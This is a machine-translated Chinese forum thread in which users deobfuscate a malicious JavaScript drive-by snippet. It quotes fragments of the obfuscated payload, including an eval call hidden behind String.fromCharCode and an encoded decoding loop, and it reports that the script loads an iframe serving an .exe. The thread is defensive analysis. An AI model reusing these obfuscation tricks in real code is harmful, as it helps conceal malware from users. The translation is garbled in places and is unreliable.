帮助Deobfuscate这个JS攻击

Question

我有一块讨厌的JavaScript，我想去混淆。我知道我可以创建一个虚拟机并看到它的所有荣耀中的恶意软件，但我更感兴趣的是没有运行它，但是以非混淆的形式查看它。如果它需要运行才能做到这一点，那么就这样吧，我想。任何人都知道如何做到这一点而不影响自己？

感谢， 添

再次编辑：我因为毕竟选择马修·富兰琛的看着这两个他，拉斯凸轮和其他人帮助闪耀淡了很多什么这个特殊的攻击原理，以及如何去了解这种一般的东西。马修偶然跳得最快。

注意：在试图找到这个底部的过程中，我发现了一个非常方便的工具调用Malzilla。如果你需要做这样的事情，它有很多好的工具。谢谢大家！

好吧，第1阶段。这相对容易。 String.fromCharCode(101,118,97)是“eva”，所以它调用fds()上的eval函数。这反过来只是调用asd，这实际上只是用％替换“Z”。我们未逸出后，我们得到了他们想要eval代码：

我解码的变量在顶部。 cz很有趣。它说：cz="function cz(cz){return ca+cb+cc+cd+ce+cz;};";这虽然显示为

    st=tmp=''; 
    for(i=0;i<ds.l%65ngth;i++){ 
     tmp=ds.slice(i,i+1); 
     st=st+String.fromCharCode((tmp.ch! 9M0;0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0$90;0~e}9050! 9M+0}~dxSx0-0|uddubcK88dy}uK7}~dx7M0;0~e}9050"%9M0;0|uddubcK88dy}uK7}~dx7M0:0~e}9050"%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0&9050"'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050"$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx"0;0}~dxSx0;0iuqbSx!0;0tqiSx0;0}~dxcKdy}uK7}~dx7M0=0!M0;07>s}79+m 

我有困难，去年st=st+String.fromCharCode...部分解码。

仍在继续前行。如果你看看一个解码值，ST是st="st="$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";";然后添加“d”线，就成了这样的事情：

好的，这应该是直截了当的。

var ez=window;ez[String.fromCharCode(101,118,97)+"l"](fds()); 

是一个简单的调用eval

如果它需要运行为了做到这一点，那么就这样吧，我想。任何人都知道如何做到这一点而不影响自己？

最简单的方法就是在Linux中使用Chrome。

我刚刚在Chrome中以无痕模式在Linux中运行它。它看起来无害。 iframe的来源不起来。

这里的满载（script标签只包含上面的脚本）的页面WebKit的开发工具的截图：

http://picasaweb.google.com/xsznix/MePwningSpam#5500978024402977090

编辑：看来这个iframe中加载一个.exe文件。网址每次都不一样。​​

该文件不起来，它给了我一个404错误。 Google的反钓鱼功能会阻止我的网址。
